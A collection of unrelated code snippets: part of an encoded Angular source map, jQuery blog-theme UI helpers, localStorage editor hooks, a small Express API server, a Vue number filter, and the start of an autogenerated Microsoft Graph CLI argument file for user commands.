RydWN0b3IoaGlnaENvbnRyYXN0TW9kZURldGVjdG9yKSB7XG4gICAgICAgIGhpZ2hDb250cmFzdE1vZGVEZXRlY3Rvci5fYXBwbHlCb2R5SGlnaENvbnRyYXN0TW9kZUNzc0NsYXNzZXMoKTtcbiAgICB9XG59XG5BMTF5TW9kdWxlLmRlY29yYXRvcnMgPSBbXG4gICAgeyB0eXBlOiBOZ01vZHVsZSwgYXJnczogW3tcbiAgICAgICAgICAgICAgICBpbXBvcnRzOiBbUGxhdGZvcm1Nb2R1bGUsIE9ic2VydmVyc01vZHVsZV0sXG4gICAgICAgICAgICAgICAgZGVjbGFyYXRpb25zOiBbQ2RrQXJpYUxpdmUsIENka1RyYXBGb2N1cywgQ2RrTW9uaXRvckZvY3VzXSxcbiAgICAgICAgICAgICAgICBleHBvcnRzOiBbQ2RrQXJpYUxpdmUsIENka1RyYXBGb2N1cywgQ2RrTW9uaXRvckZvY3VzXSxcbiAgICAgICAgICAgIH0sXSB9XG5dO1xuLyoqIEBub2NvbGxhcHNlICovXG5BMTF5TW9kdWxlLmN0b3JQYXJhbWV0ZXJzID0gKCkgPT4gW1xuICAgIHsgdHlwZTogSGlnaENvbnRyYXN0TW9kZURldGVjdG9yIH1cbl07XG4iXX0=
|
$.extend({
menuInWidth: 1240,
hideOnMask: [],
minWidth: 760,
fixedClick: function() {
FastClick.attach(document.body);
},
page: function () {
var $elements = $('.fade, .fade-scale');
var visible = false;
return {
loaded: function () {
$elements.each(function () {
$(this).addClass('in')
});
visible = true;
},
unload: function () {
$elements.each(function () {
$(this).removeClass('in')
});
visible = true;
},
visible: visible
}
},
toc: function (toc) {
var toc = $('.post-widget');
var tocBar = $('.toc-bar');
var bannerH = $('.post-header').outerHeight();
var headerH = $('#header').outerHeight();
var titles = $('#post-content').find('h1, h2, h3, h4');
var scrollTop = $(document).scrollTop();
var card = $('.post-card');
return {
fixed: function (top) {
if (top >= bannerH - headerH) {
toc.css({
'left': card.offset().left + card.outerWidth(true) + 40
});
toc.addClass('fixed');
} else {
toc.css('left', "");
toc.removeClass('fixed');
}
},
actived: function (top) {
var target;
titles.each(function (i, elem) {
if (top > $(elem).offset().top - headerH) {
target = toc.find('a[href="#' + $(elem).attr('id') + '"]').parent();
}
});
if (target) {
toc.find('li.active').removeClass('active');
target.addClass('active');
target.parents('.post-toc-item').addClass('active');
tocBar.css("top", target.position().top);
}
if (top < titles.eq(0).offset().top) {
toc.find('li.active').removeClass('active');
var active = toc.find('a[href="#' + titles.eq(0).attr('id') + '"]').parent();
active.addClass('active');
tocBar.css("top", active.position().top);
}
},
go: function () {
toc.delegate('.post-toc-item', 'click', function (e) {
e.preventDefault();
e.stopPropagation();
var id = $(this).children(".post-toc-link").attr('href').replace(/^\#/, '');
var titles = $('#post-content').find('h1, h2, h3, h4');
titles.each(function (i, el) {
if ($(this).attr('id') === id) {
var top = $(this).offset().top;
$('body,html').stop(true, false);
$('body,html').animate({
scrollTop: top
}, 300);
}
});
});
}
}
},
toggleMenu: function () {
var main = $('#main');
var menu = $('#menu');
var root = $('html');
var mask = $('#mask');
var headerTitle = $('.header-title');
var isWX = /micromessenger/i.test(navigator.userAgent);
return {
init: function () {
var menuToggle = $('#menu-toggle');
var menuOff = $('#menu-off');
menu.removeClass('hide');
menuToggle.click(function (e) {
e.preventDefault();
$.toggleMenu().show();
});
menuOff.click(function (e) {
e.preventDefault();
$.toggleMenu().hide();
});
if ($(document).width() >= $.menuInWidth) {
headerTitle.addClass('push');
}
},
show: function () {
menu.removeClass('hide');
$.hideOnMask = [];
$.hideOnMask.push($('#menu-off'));
if ($(document).width() < $.menuInWidth) {
mask.addClass('in');
menu.addClass('show');
menu.removeClass('hide');
if (isWX) {
var top = $(document).scrollTop();
main.addClass('lock');
main.scrollTop(top);
} else {
root.addClass('lock');
}
} else {
headerTitle.addClass('push');
}
},
hide: function () {
menu.removeClass('show');
menu.addClass('hide');
mask.removeClass('in');
headerTitle.removeClass('push');
if (isWX) {
var top = $(document).scrollTop();
main.removeClass('lock');
main.scrollTop(top);
} else {
root.removeClass('lock');
}
}
}
},
fixedHeader: function (top) {
var header = $('#header');
var targetHeight = $('.content-header').outerHeight() - header.outerHeight();
if (top > targetHeight) {
header.addClass('fixed');
} else {
header.removeClass('fixed');
}
},
toggleGoTop: function () {
var gotop = $('#gotop');
return {
active: function () {
gotop.click(function () {
$('body,html').stop(true, false);
$('body,html').animate({
scrollTop: 0
}, 300);
});
},
scroll: function (top) {
if (top > $(document).height() / 5) {
gotop.addClass('in');
} else {
gotop.removeClass('in');
}
}
}
},
share: function () {
var pageShare = $('#pageShare');
var fabShare = $('#shareFab');
var menuShare = $('#menuShare');
var globalShare = $('#globalShare');
var wxShareBtn = $('.wxFab');
var wxSharePop = $('#wxShare');
var mask = $('#mask');
if (fabShare.length > 0) {
fabShare.click(function () {
pageShare.toggleClass('in');
});
$(document).click(function (e) {
if (!fabShare.get(0).contains(e.target)) {
pageShare.removeClass('in');
}
});
}
wxShareBtn.click(function () {
if (wxSharePop.hasClass('in')) {
mask.removeClass('in');
wxSharePop.removeClass('in');
setTimeout(function () {
wxSharePop.removeClass('ready');
}, 300)
} else {
mask.addClass('in');
wxSharePop.addClass('ready');
setTimeout(function () {
wxSharePop.addClass('in');
}, 0);
$.hideOnMask = [];
$.hideOnMask.push($(this), wxSharePop.find('.close'));
}
});
wxSharePop.find('.close').click(function () {
mask.removeClass('in');
wxSharePop.removeClass('in');
globalShare.removeClass('in');
$.hideOnMask = [];
setTimeout(function () {
wxSharePop.removeClass('ready');
globalShare.removeClass('ready');
}, 300)
});
},
search: function () {
var searchBtn = $('#site_search_btn');
var searchPanel = $('#site_search');
var searchClose = searchPanel.find('.close');
var mask = $('#mask');
return {
init: function () {
searchBtn.click(function () {
if ($(window).width() < $.minWidth) {
$('html').addClass('lock');
} else {
mask.addClass('in');
}
searchPanel.addClass('in');
$.hideOnMask = [];
$.hideOnMask.push($(this), searchPanel.find('.close'));
});
searchClose.click(function () {
if ($(window).width() < $.minWidth) {
$('html').removeClass('lock');
} else {
mask.removeClass('in');
}
searchPanel.removeClass('in');
});
},
zoom: function () {
if ($(document).width() < $.menuInWidth) {
searchPanel.removeClass('shrink');
} else {
searchPanel.addClass('shrink');
}
},
}
},
reward: function () {
var reward = $('#reward');
var rewardBtn = $('#rewardBtn');
var rewardToggle = $('#rewardToggle');
var rewardCode = $('#rewardCode');
var mask = $('#mask');
rewardBtn.click(function () {
if (reward.hasClass('in')) {
mask.removeClass('in');
reward.removeClass('in');
setTimeout(function () {
reward.removeClass('ready');
}, 300);
} else {
mask.addClass('in');
reward.addClass('ready');
setTimeout(function () {
reward.addClass('in');
}, 0);
$.hideOnMask = [];
$.hideOnMask.push($(this), reward.find('.close'));
}
});
reward.find('.close').click(function () {
mask.removeClass('in');
reward.removeClass('in');
$.hideOnMask = [];
setTimeout(function () {
reward.removeClass('ready');
}, 300);
});
if (rewardToggle.length != 0) {
rewardToggle.change(function () {
rewardCode.attr('src', this.checked ? this.dataset.alipay : this.dataset.wechat);
});
}
},
mask: function () {
var mask = $('#mask');
mask.click(function (e) {
$.hideOnMask.forEach(function (el) {
el.trigger('click');
});
e.preventDefault();
});
},
waves: function () {
if (window.Waves) {
Waves.init();
Waves.attach('.global-share li', ['waves-block']);
Waves.attach('.article-tag-list-link, #page-nav a, #page-nav span', ['waves-button']);
}
},
waterfall: function () {
if ($(window).width() < $.minWidth) return;
$('.waterfall').each(function () {
var childs = $(this).find('.waterfall-item');
var columns = [0, 0];
childs.each(function () {
var i = columns[0] <= columns[1] ? 0 : 1;
// item.style.cssText = 'top:' + columns[i] + 'px;left:' + (i > 0 ? '50%' : 0);
$(this).css({
top: columns[i],
left: i > 0 ? '50%' : 0
});
columns[i] += $(this).get(0).offsetHeight;
})
// el.style.height = Math.max(columns[0], columns[1]) + 'px';
$(this).css('height', Math.max(columns[0], columns[1]));
$(this).addClass('in');
})
var headerH = $("#main>.content-header").height();
var containerH = $("#main>.container").outerHeight(true);
var footerH = $(".footer").height();
var winH = $(window).height();
if ( headerH + containerH + footerH < winH ) {
var minH = winH - footerH - headerH - 10;
$("#main>.container").css('min-height', minH);
}
},
tabBar: function () {
var allTagsBtn = $('.tags-list-more');
if (allTagsBtn.length > 0) {
allTagsBtn.click(function () {
$(this).parents('.tabs-bar').toggleClass('expand');
});
}
}
});
|
function editorOnLoad(){
if(localStorage[this.questionID]!=null){
this.setMarkdown(localStorage[this.questionID]);
}
}
function editorOnChange(){
localStorage[this.questionID] = this.getMarkdown();
}
|
const express = require('express');
const cors = require('cors');
const db = require('./models');
const response = require('./middlewares/response');
const checkJwt = require('./middlewares/jwt');
const authController = require('./controllers/auth');
const linkController = require('./controllers/link');
const app = express();
app.use(cors());
app.use(response);
app.use(checkJwt);
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use('/auth', authController);
app.use('/link', linkController);
app.get('/', (req, res) => {
return res.json('Api running...');
});
db.sequelize.sync().then(() => {
app.listen(3001, () => {
console.log('Listening on port 3001');
});
});
|
import Vue from 'vue'
function format(n) {
return Math.round(n).toLocaleString()
}
Vue.filter('format', format) // test
|
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
# pylint: disable=line-too-long
# pylint: disable=too-many-lines
# pylint: disable=too-many-statements
from msgraph.cli.core.commands.parameters import (
get_three_state_flag,
get_enum_type
)
from msgraph.cli.core.commands.validators import validate_file_or_dict
from azext_users_v1_0.action import (
AddAssignedLicenses,
AddAssignedPlans,
AddIdentities,
AddLicenseAssignmentStates,
AddOnPremisesExtensionAttributes,
AddOnPremisesProvisioningErrors,
AddPasswordProfile,
AddProvisionedPlans,
AddAppRoleAssignments,
AddCreatedObjects,
AddDirectReports,
AddLicenseDetails,
AddManager,
AddMemberOf,
AddOauth2PermissionGrants,
AddOwnedDevices,
AddOwnedObjects,
AddRegisteredDevices,
AddTransitiveMemberOf,
AddPhoto,
AddPhotos,
AddExtensions,
AddDeviceManagementTroubleshootingEvents,
AddResources,
AddApplication,
AddMasterCategories,
AddLanguage,
AddServicePlans
)
def load_arguments(self, _):
with self.argument_context('users user list') as c:
c.argument('orderby', nargs='+', help='Order items by property values')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user show') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('select', nargs='+', help='Select properties to be returned')
c.argument('expand', nargs='+', help='Expand related entities')
with self.argument_context('users user create') as c:
c.argument('id_', options_list=['--id'], type=str, help='Read-only.')
c.argument('deleted_date_time', help='')
c.argument('account_enabled', arg_type=get_three_state_flag(), help='true if the account is enabled; '
'otherwise, false. This property is required when a user is created. Supports $filter.')
c.argument('age_group', type=str, help='Sets the age group of the user. Allowed values: null, minor, notAdult '
'and adult. Refer to the legal age group property definitions for further information.')
c.argument('assigned_licenses', action=AddAssignedLicenses, nargs='+', help='The licenses that are assigned to '
'the user. Not nullable.')
c.argument('assigned_plans', action=AddAssignedPlans, nargs='+', help='The plans that are assigned to the '
'user. Read-only. Not nullable.')
c.argument('business_phones', nargs='+', help='The telephone numbers for the user. NOTE: Although this is a '
'string collection, only one number can be set for this property.')
c.argument('city', type=str, help='The city in which the user is located. Supports $filter.')
c.argument('company_name', type=str, help='The company name which the user is associated. This property can be '
'useful for describing the company that an external user comes from. The maximum length of the '
'company name is 64 chararcters.Returned only on $select.')
c.argument('consent_provided_for_minor', type=str, help='Sets whether consent has been obtained for minors. '
'Allowed values: null, granted, denied and notRequired. Refer to the legal age group property '
'definitions for further information.')
c.argument('country', type=str, help='The country/region in which the user is located; for example, \'US\' or '
'\'UK\'. Supports $filter.')
c.argument('created_date_time', help='The created date of the user object.')
c.argument('creation_type', type=str, help='Indicates whether the user account was created as a regular school '
'or work account (null), an external account (Invitation), a local account for an Azure Active '
'Directory B2C tenant (LocalAccount) or self-service sign-up using email verification '
'(EmailVerified). Read-only.')
c.argument('department', type=str, help='The name for the department in which the user works. Supports '
'$filter.')
c.argument('display_name', type=str, help='The name displayed in the address book for the user. This is '
'usually the combination of the user\'s first name, middle initial and last name. This property is '
'required when a user is created and it cannot be cleared during updates. Supports $filter and '
'$orderby.')
c.argument('employee_id', type=str, help='The employee identifier assigned to the user by the organization. '
'Supports $filter.')
c.argument('external_user_state', type=str, help='For an external user invited to the tenant using the '
'invitation API, this property represents the invited user\'s invitation status. For invited users, '
'the state can be PendingAcceptance or Accepted, or null for all other users. Returned only on '
'$select. Supports $filter with the supported values. For example: $filter=externalUserState eq '
'\'PendingAcceptance\'.')
c.argument('external_user_state_change_date_time', help='Shows the timestamp for the latest change to the '
'externalUserState property. Returned only on $select.')
c.argument('fax_number', type=str, help='The fax number of the user.')
c.argument('given_name', type=str, help='The given name (first name) of the user. Supports $filter.')
c.argument('identities', action=AddIdentities, nargs='+', help='Represents the identities that can be used to '
'sign in to this user account. An identity can be provided by Microsoft (also known as a local '
'account), by organizations, or by social identity providers such as Facebook, Google, and '
'Microsoft, and tied to a user account. May contain multiple items with the same signInType value. '
'Supports $filter.')
c.argument('im_addresses', nargs='+', help='The instant message voice over IP (VOIP) session initiation '
'protocol (SIP) addresses for the user. Read-only.')
c.argument('is_resource_account', arg_type=get_three_state_flag(),
help='Do not use – reserved for future use.')
c.argument('job_title', type=str, help='The user’s job title. Supports $filter.')
c.argument('last_password_change_date_time', help='The time when this Azure AD user last changed their '
'password. The date and time information uses ISO 8601 format and is always in UTC time. For '
'example, midnight UTC on Jan 1, 2014 would look like this: \'2014-01-01T00:00:00Z\'')
c.argument('legal_age_group_classification', type=str, help='Used by enterprise applications to determine the '
'legal age group of the user. This property is read-only and calculated based on ageGroup and '
'consentProvidedForMinor properties. Allowed values: null, minorWithOutParentalConsent, '
'minorWithParentalConsent, minorNoParentalConsentRequired, notAdult and adult. Refer to the legal '
'age group property definitions for further information.)')
c.argument('license_assignment_states', action=AddLicenseAssignmentStates, nargs='+', help='State of license '
'assignments for this user. Read-only.')
c.argument('mail', type=str, help='The SMTP address for the user, for example, \'jeff@contoso.onmicrosoft.com\''
'. Supports $filter.')
c.argument('mail_nickname', type=str, help='The mail alias for the user. This property must be specified when '
'a user is created. Supports $filter.')
c.argument('mobile_phone', type=str, help='The primary cellular telephone number for the user.')
c.argument('office_location', type=str, help='The office location in the user\'s place of business.')
c.argument('on_premises_distinguished_name', type=str, help='Contains the on-premises Active Directory '
'distinguished name or DN. The property is only populated for customers who are synchronizing their '
'on-premises directory to Azure Active Directory via Azure AD Connect. Read-only.')
c.argument('on_premises_domain_name', type=str, help='Contains the on-premises domainFQDN, also called '
'dnsDomainName synchronized from the on-premises directory. The property is only populated for '
'customers who are synchronizing their on-premises directory to Azure Active Directory via Azure AD '
'Connect. Read-only.')
c.argument('on_premises_extension_attributes', action=AddOnPremisesExtensionAttributes, nargs='+',
help='onPremisesExtensionAttributes')
c.argument('on_premises_immutable_id', type=str, help='This property is used to associate an on-premises '
'Active Directory user account to their Azure AD user object. This property must be specified when '
'creating a new user account in the Graph if you are using a federated domain for the user’s '
'userPrincipalName (UPN) property. Important: The $ and _ characters cannot be used when specifying '
'this property. Supports $filter.')
c.argument('on_premises_last_sync_date_time', help='Indicates the last time at which the object was synced '
'with the on-premises directory; for example: \'2013-02-16T03:04:54Z\'. The Timestamp type '
'represents date and time information using ISO 8601 format and is always in UTC time. For example, '
'midnight UTC on Jan 1, 2014 would look like this: \'2014-01-01T00:00:00Z\'. Read-only.')
c.argument('on_premises_provisioning_errors', action=AddOnPremisesProvisioningErrors, nargs='+', help='Errors '
'when using Microsoft synchronization product during provisioning.')
c.argument('on_premises_sam_account_name', type=str, help='Contains the on-premises samAccountName '
'synchronized from the on-premises directory. The property is only populated for customers who are '
'synchronizing their on-premises directory to Azure Active Directory via Azure AD Connect. '
'Read-only.')
c.argument('on_premises_security_identifier', type=str, help='Contains the on-premises security identifier '
'(SID) for the user that was synchronized from on-premises to the cloud. Read-only.')
c.argument('on_premises_sync_enabled', arg_type=get_three_state_flag(), help='true if this object is synced '
'from an on-premises directory; false if this object was originally synced from an on-premises '
'directory but is no longer synced; null if this object has never been synced from an on-premises '
'directory (default). Read-only')
c.argument('on_premises_user_principal_name', type=str, help='Contains the on-premises userPrincipalName '
'synchronized from the on-premises directory. The property is only populated for customers who are '
'synchronizing their on-premises directory to Azure Active Directory via Azure AD Connect. '
'Read-only.')
c.argument('other_mails', nargs='+', help='A list of additional email addresses for the user; for example: '
'[\'bob@contoso.com\', \'Robert@fabrikam.com\']. Supports $filter.')
c.argument('password_policies', type=str, help='Specifies password policies for the user. This value is an '
'enumeration with one possible value being \'DisableStrongPassword\', which allows weaker passwords '
'than the default policy to be specified. \'DisablePasswordExpiration\' can also be specified. The '
'two may be specified together; for example: \'DisablePasswordExpiration, DisableStrongPassword\'.')
c.argument('password_profile', action=AddPasswordProfile, nargs='+', help='passwordProfile')
c.argument('postal_code', type=str, help='The postal code for the user\'s postal address. The postal code is '
'specific to the user\'s country/region. In the United States of America, this attribute contains '
'the ZIP code.')
c.argument('preferred_language', type=str, help='The preferred language for the user. Should follow ISO 639-1 '
'Code; for example \'en-US\'.')
c.argument('provisioned_plans', action=AddProvisionedPlans, nargs='+', help='The plans that are provisioned '
'for the user. Read-only. Not nullable.')
c.argument('proxy_addresses', nargs='+', help='For example: [\'SMTP: bob@contoso.com\', \'smtp: '
'bob@sales.contoso.com\'] The any operator is required for filter expressions on multi-valued '
'properties. Read-only, Not nullable. Supports $filter.')
c.argument('show_in_address_list', arg_type=get_three_state_flag(), help='true if the Outlook global address '
'list should contain this user, otherwise false. If not set, this will be treated as true. For '
'users invited through the invitation manager, this property will be set to false.')
c.argument('sign_in_sessions_valid_from_date_time', help='Any refresh tokens or sessions tokens (session '
'cookies) issued before this time are invalid, and applications will get an error when using an '
'invalid refresh or sessions token to acquire a delegated access token (to access APIs such as '
'Microsoft Graph). If this happens, the application will need to acquire a new refresh token by '
'making a request to the authorize endpoint. Read-only. Use revokeSignInSessions to reset.')
c.argument('state', type=str, help='The state or province in the user\'s address. Supports $filter.')
c.argument('street_address', type=str, help='The street address of the user\'s place of business.')
c.argument('surname', type=str, help='The user\'s surname (family name or last name). Supports $filter.')
c.argument('usage_location', type=str, help='A two letter country code (ISO standard 3166). Required for users '
'that will be assigned licenses due to legal requirement to check for availability of services in '
'countries. Examples include: \'US\', \'JP\', and \'GB\'. Not nullable. Supports $filter.')
c.argument('user_principal_name', type=str, help='The user principal name (UPN) of the user. The UPN is an '
'Internet-style login name for the user based on the Internet standard RFC 822. By convention, this '
'should map to the user\'s email name. The general format is alias@domain, where domain must be '
'present in the tenant’s collection of verified domains. This property is required when a user is '
'created. The verified domains for the tenant can be accessed from the verifiedDomains property of '
'organization. Supports $filter and $orderby.')
c.argument('user_type', type=str, help='A string value that can be used to classify user types in your '
'directory, such as \'Member\' and \'Guest\'. Supports $filter.')
c.argument('device_enrollment_limit', type=int, help='The limit on the maximum number of devices that the user '
'is permitted to enroll. Allowed values are 5 or 1000.')
c.argument('about_me', type=str, help='A freeform text entry field for the user to describe themselves.')
c.argument('birthday', help='The birthday of the user. The Timestamp type represents date and time information '
'using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would '
'look like this: \'2014-01-01T00:00:00Z\'')
c.argument('hire_date', help='The hire date of the user. The Timestamp type represents date and time '
'information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, '
'2014 would look like this: \'2014-01-01T00:00:00Z\'')
c.argument('interests', nargs='+', help='A list for the user to describe their interests.')
c.argument('my_site', type=str, help='The URL for the user\'s personal site.')
c.argument('past_projects', nargs='+', help='A list for the user to enumerate their past projects.')
c.argument('preferred_name', type=str, help='The preferred name for the user.')
c.argument('responsibilities', nargs='+', help='A list for the user to enumerate their responsibilities.')
c.argument('schools', nargs='+', help='A list for the user to enumerate the schools they have attended.')
c.argument('skills', nargs='+', help='A list for the user to enumerate their skills.')
c.argument('app_role_assignments', action=AddAppRoleAssignments, nargs='+', help='')
c.argument('created_objects', action=AddCreatedObjects, nargs='+', help='Directory objects that were created '
'by the user. Read-only. Nullable.')
c.argument('direct_reports', action=AddDirectReports, nargs='+', help='The users and contacts that report to '
'the user. (The users and contacts that have their manager property set to this user.) Read-only. '
'Nullable.')
c.argument('license_details', action=AddLicenseDetails, nargs='+', help='A collection of this user\'s license '
'details. Read-only.')
c.argument('manager', action=AddManager, nargs='+', help='Represents an Azure Active Directory object. The '
'directoryObject type is the base type for many other directory entity types.')
c.argument('member_of', action=AddMemberOf, nargs='+', help='The groups and directory roles that the user is a '
'member of. Read-only. Nullable.')
c.argument('oauth2_permission_grants', action=AddOauth2PermissionGrants, nargs='+', help='')
c.argument('owned_devices', action=AddOwnedDevices, nargs='+', help='Devices that are owned by the user. '
'Read-only. Nullable.')
c.argument('owned_objects', action=AddOwnedObjects, nargs='+', help='Directory objects that are owned by the '
'user. Read-only. Nullable.')
c.argument('registered_devices', action=AddRegisteredDevices, nargs='+', help='Devices that are registered for '
'the user. Read-only. Nullable.')
c.argument('scoped_role_member_of', type=validate_file_or_dict,
help=' Expected value: json-string/@json-file.')
c.argument('transitive_member_of', action=AddTransitiveMemberOf, nargs='+', help='')
c.argument('calendar', type=validate_file_or_dict, help='calendar Expected value: json-string/@json-file.')
c.argument('calendar_groups', type=validate_file_or_dict, help='The user\'s calendar groups. Read-only. '
'Nullable. Expected value: json-string/@json-file.')
c.argument('calendars', type=validate_file_or_dict, help='The user\'s calendars. Read-only. Nullable. Expected '
'value: json-string/@json-file.')
c.argument('calendar_view', type=validate_file_or_dict, help='The calendar view for the calendar. Read-only. '
'Nullable. Expected value: json-string/@json-file.')
c.argument('contact_folders', type=validate_file_or_dict, help='The user\'s contacts folders. Read-only. '
'Nullable. Expected value: json-string/@json-file.')
c.argument('contacts', type=validate_file_or_dict, help='The user\'s contacts. Read-only. Nullable. Expected '
'value: json-string/@json-file.')
c.argument('events', type=validate_file_or_dict, help='The user\'s events. Default is to show Events under the '
'Default Calendar. Read-only. Nullable. Expected value: json-string/@json-file.')
c.argument('mail_folders', type=validate_file_or_dict, help='The user\'s mail folders. Read-only. Nullable. '
'Expected value: json-string/@json-file.')
c.argument('messages', type=validate_file_or_dict, help='The messages in a mailbox or folder. Read-only. '
'Nullable. Expected value: json-string/@json-file.')
c.argument('people', type=validate_file_or_dict, help='People that are relevant to the user. Read-only. '
'Nullable. Expected value: json-string/@json-file.')
c.argument('photo', action=AddPhoto, nargs='+', help='profilePhoto')
c.argument('photos', action=AddPhotos, nargs='+', help='')
c.argument('drive', type=validate_file_or_dict, help='drive Expected value: json-string/@json-file.')
c.argument('drives', type=validate_file_or_dict, help='A collection of drives available for this user. '
'Read-only. Expected value: json-string/@json-file.')
c.argument('followed_sites', type=validate_file_or_dict, help=' Expected value: json-string/@json-file.')
c.argument('extensions', action=AddExtensions, nargs='+', help='The collection of open extensions defined for '
'the user. Read-only. Nullable.')
c.argument('managed_devices', type=validate_file_or_dict, help='The managed devices associated with the user. '
'Expected value: json-string/@json-file.')
c.argument('managed_app_registrations', type=validate_file_or_dict, help='Zero or more managed app '
'registrations that belong to the user. Expected value: json-string/@json-file.')
c.argument('device_management_troubleshooting_events', action=AddDeviceManagementTroubleshootingEvents,
nargs='+', help='The list of troubleshooting events for this user.')
c.argument('activities', type=validate_file_or_dict, help='The user\'s activities across devices. Read-only. '
'Nullable. Expected value: json-string/@json-file.')
c.argument('online_meetings', type=validate_file_or_dict, help=' Expected value: json-string/@json-file.')
c.argument('joined_teams', type=validate_file_or_dict, help=' Expected value: json-string/@json-file.')
c.argument('microsoft_graph_entity_id', type=str, help='Read-only.', arg_group='Onenote')
c.argument('notebooks', type=validate_file_or_dict, help='The collection of OneNote notebooks that are owned '
'by the user or group. Read-only. Nullable. Expected value: json-string/@json-file.',
arg_group='Onenote')
c.argument('operations', type=validate_file_or_dict, help='The status of OneNote operations. Getting an '
'operations collection is not supported, but you can get the status of long-running operations if '
'the Operation-Location header is returned in the response. Read-only. Nullable. Expected value: '
'json-string/@json-file.', arg_group='Onenote')
c.argument('pages', type=validate_file_or_dict, help='The pages in all OneNote notebooks that are owned by the '
'user or group. Read-only. Nullable. Expected value: json-string/@json-file.',
arg_group='Onenote')
c.argument('resources', action=AddResources, nargs='+', help='The image and other file resources in OneNote '
'pages. Getting a resources collection is not supported, but you can get the binary content of a '
'specific resource. Read-only. Nullable.', arg_group='Onenote')
c.argument('section_groups', type=validate_file_or_dict, help='The section groups in all OneNote notebooks '
'that are owned by the user or group. Read-only. Nullable. Expected value: json-string/@json-file.',
arg_group='Onenote')
c.argument('sections', type=validate_file_or_dict, help='The sections in all OneNote notebooks that are owned '
'by the user or group. Read-only. Nullable. Expected value: json-string/@json-file.',
arg_group='Onenote')
c.argument('id1', type=str, help='Read-only.', arg_group='Settings')
c.argument('contribution_to_content_discovery_as_organization_disabled', arg_type=get_three_state_flag(),
help='', arg_group='Settings')
c.argument('contribution_to_content_discovery_disabled', arg_type=get_three_state_flag(), help='',
arg_group='Settings')
c.argument('id2', type=str, help='Read-only.', arg_group='Settings Shift Preferences')
c.argument('microsoft_graph_change_tracked_entity_created_date_time_created_date_time', help='The Timestamp '
'type represents date and time information using ISO 8601 format and is always in UTC time. For '
'example, midnight UTC on Jan 1, 2014 would look like this: \'2014-01-01T00:00:00Z\'',
arg_group='Settings Shift Preferences')
c.argument('last_modified_date_time', help='The Timestamp type represents date and time information using ISO '
'8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like '
'this: \'2014-01-01T00:00:00Z\'', arg_group='Settings Shift Preferences')
c.argument('application', action=AddApplication, nargs='+', help='identity', arg_group='Settings Shift '
'Preferences Last Modified By')
c.argument('device', action=AddApplication, nargs='+', help='identity', arg_group='Settings Shift Preferences '
'Last Modified By')
c.argument('user', action=AddApplication, nargs='+', help='identity', arg_group='Settings Shift Preferences '
'Last Modified By')
c.argument('availability', type=validate_file_or_dict, help='Availability of the user to be scheduled for work '
'and its recurrence pattern. Expected value: json-string/@json-file.', arg_group='Settings Shift '
'Preferences')
c.argument('id3', type=str, help='Read-only.', arg_group='Insights')
c.argument('shared', type=validate_file_or_dict, help='Calculated relationship identifying documents shared '
'with or by the user. This includes URLs, file attachments, and reference attachments to OneDrive '
'for Business and SharePoint files found in Outlook messages and meetings. This also includes URLs '
'and reference attachments to Teams conversations. Ordered by recency of share. Expected value: '
'json-string/@json-file.', arg_group='Insights')
c.argument('trending', type=validate_file_or_dict, help='Calculated relationship identifying documents '
'trending around a user. Trending documents are calculated based on activity of the user\'s closest '
'network of people and include files stored in OneDrive for Business and SharePoint. Trending '
'insights help the user to discover potentially useful content that the user has access to, but has '
'never viewed before. Expected value: json-string/@json-file.', arg_group='Insights')
c.argument('used', type=validate_file_or_dict, help='Calculated relationship identifying the latest documents '
'viewed or modified by a user, including OneDrive for Business and SharePoint documents, ranked by '
'recency of use. Expected value: json-string/@json-file.', arg_group='Insights')
c.argument('id4', type=str, help='Read-only.', arg_group='Planner')
c.argument('plans', type=validate_file_or_dict, help='Read-only. Nullable. Returns the plannerTasks assigned '
'to the user. Expected value: json-string/@json-file.', arg_group='Planner')
c.argument('tasks', type=validate_file_or_dict, help='Read-only. Nullable. Returns the plannerPlans shared '
'with the user. Expected value: json-string/@json-file.', arg_group='Planner')
c.argument('id5', type=str, help='Read-only.', arg_group='Outlook')
c.argument('master_categories', action=AddMasterCategories, nargs='+', help='A list of categories defined for '
'the user.', arg_group='Outlook')
c.argument('id6', type=str, help='Read-only.', arg_group='Inference Classification')
c.argument('overrides', type=validate_file_or_dict, help='A set of overrides for a user to always classify '
'messages from specific senders in certain ways: focused, or other. Read-only. Nullable. Expected '
'value: json-string/@json-file.', arg_group='Inference Classification')
c.argument('archive_folder', type=str, help='Folder ID of an archive folder for the user.', arg_group='Mailbox '
'Settings')
c.argument('automatic_replies_setting', type=validate_file_or_dict, help='automaticRepliesSetting Expected '
'value: json-string/@json-file.', arg_group='Mailbox Settings')
c.argument('date_format', type=str, help='The date format for the user\'s mailbox.', arg_group='Mailbox '
'Settings')
c.argument('delegate_meeting_message_delivery_options', arg_type=get_enum_type([
'sendToDelegateAndInformationToP'
'rincipal',
'sendToDelegateAndPrincipal',
'sendToDelegateOnly']),
help='delegateMeetingMessageDeliveryOptions', arg_group='Mailbox Settings')
c.argument('language', action=AddLanguage, nargs='+', help='localeInfo', arg_group='Mailbox Settings')
c.argument('time_format', type=str, help='The time format for the user\'s mailbox.', arg_group='Mailbox '
'Settings')
c.argument('time_zone', type=str, help='The default time zone for the user\'s mailbox.', arg_group='Mailbox '
'Settings')
c.argument('working_hours', type=validate_file_or_dict, help='workingHours Expected value: '
'json-string/@json-file.', arg_group='Mailbox Settings')
with self.argument_context('users user update') as c:
c.argument('user_id', type=str, help='key: id of user')
c.argument('id_', options_list=['--id'], type=str, help='Read-only.')
c.argument('deleted_date_time', help='')
c.argument('account_enabled', arg_type=get_three_state_flag(), help='true if the account is enabled; '
'otherwise, false. This property is required when a user is created. Supports $filter.')
c.argument('age_group', type=str, help='Sets the age group of the user. Allowed values: null, minor, notAdult '
'and adult. Refer to the legal age group property definitions for further information.')
c.argument('assigned_licenses', action=AddAssignedLicenses, nargs='+', help='The licenses that are assigned to '
'the user. Not nullable.')
c.argument('assigned_plans', action=AddAssignedPlans, nargs='+', help='The plans that are assigned to the '
'user. Read-only. Not nullable.')
